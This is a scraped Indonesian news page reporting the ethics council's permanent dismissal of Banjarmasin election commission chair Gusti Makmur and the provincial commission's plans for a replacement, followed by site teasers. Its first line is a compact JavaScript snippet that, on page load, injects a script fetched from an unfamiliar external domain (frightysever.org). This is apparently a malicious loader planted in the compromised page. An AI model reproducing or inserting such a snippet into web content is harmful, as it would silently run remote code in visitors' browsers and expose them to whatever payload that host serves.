(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gusti Makmur Diberhentikan, KPU Kalsel Siapkan Pengganti


KANALKALIMANTAN.COM, BANJARMASIN – Keputusan Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI yang memutuskan pemberhentian tetap terhadap ketua merangkap anggota KPU Kota Banjarmasin non aktif Gusti Makmur, juga direspon oleh KPU Provinsi Kalsel.

Ditemui di ruang kerja pada Kamis (5/3/2020) pagi, Ketua KPU Provinsi Kalsel Sarmuji mengatakan, ia telah membaca salinan putusan DKPP dengan nomor 11-PKE-DKPP/II/2020 ini. Menurut Sarmuji, tindak lanjut dari putusan DKPP RI ada di tangan KPU RI, paling lambat 7 hari setelah putusan DKPP RI.

“Karena yang memberhentikan dan mengangkat komisioner baik di KPU kabupaten dan kota adalah KPU RI,” ucap Sarmuji.

Karena semua kewenangan itu berada di tangan KPU RI, lanjut Sarmuji, pihaknya tinggal menunggu perintah lebih lanjut. Termasuk menindaklanjuti putusan DKPP RI yang memberhentikan Gusti Makmur dan pengganti antar waktu (PAW).

“Selanjutnya kami menunggu perintah lagi, karena kurangnya Komisioner di KPU Kota Banjarmasin, akan dilakukan PAW,” papar Sarmuji.

Nantinya, dari PAW diambil dari urutan nomor 6 hingga 10 saat seleksi komisioner KPU Kota Banjarmasin. Tinggal apakah memenuhi persyaratan atau mengundurkan diri karena tidak lagi bersedia sebagai PAW Komisioner KPU Kota Banjarmasin.

“Nantinya KPU RI akan memerintahkan KPU Provinsi Kalsel untuk pemanggilan calon-calon komisioner berikutnya,” ungkap Sarmuji.

Lalu, bagaimana KPU Provinsi Kalsel menyikapi putusan DKPP RI ini? “Itu sudah, DKPP RI sudah memberhentikan. Tentu kita akan menyiapkan berkenaan dengan tindak lanjut dari KPU RI berkenaan dengan putusan DKPP RI itu,” pungkas Sarmuji.

Gusti Makmur sendiri, diputuskan untuk diberhentikan tetap sebagai Ketua merangkap anggota KPU Kota Banjarmasin, pada Sidang DKPP RI yang digelar di Jakarta, Rabu (4/3/2020) siang.

Dalam pembacaan putusan, anggota majelis sidang DKPP Dr Ida Budhiati mengatakan, Gusti Makmur terbukti melanggar pasal 26 huruf c, pasal 30 huruf f, pasal 12 huruf a dan huruf b, dan pasal 15 huruf a Peraturan DKPP nomor 2 tahun 2017 tengang Kode Etik dan Pedoman Perilaku Penyelenggara Pemilihan Umum. “Tidak dapat dibenarkan menurut etika dan hukum,” kata Ida. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

10 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

11 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

11 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

11 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

15 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

17 jam ago

This website uses cookies.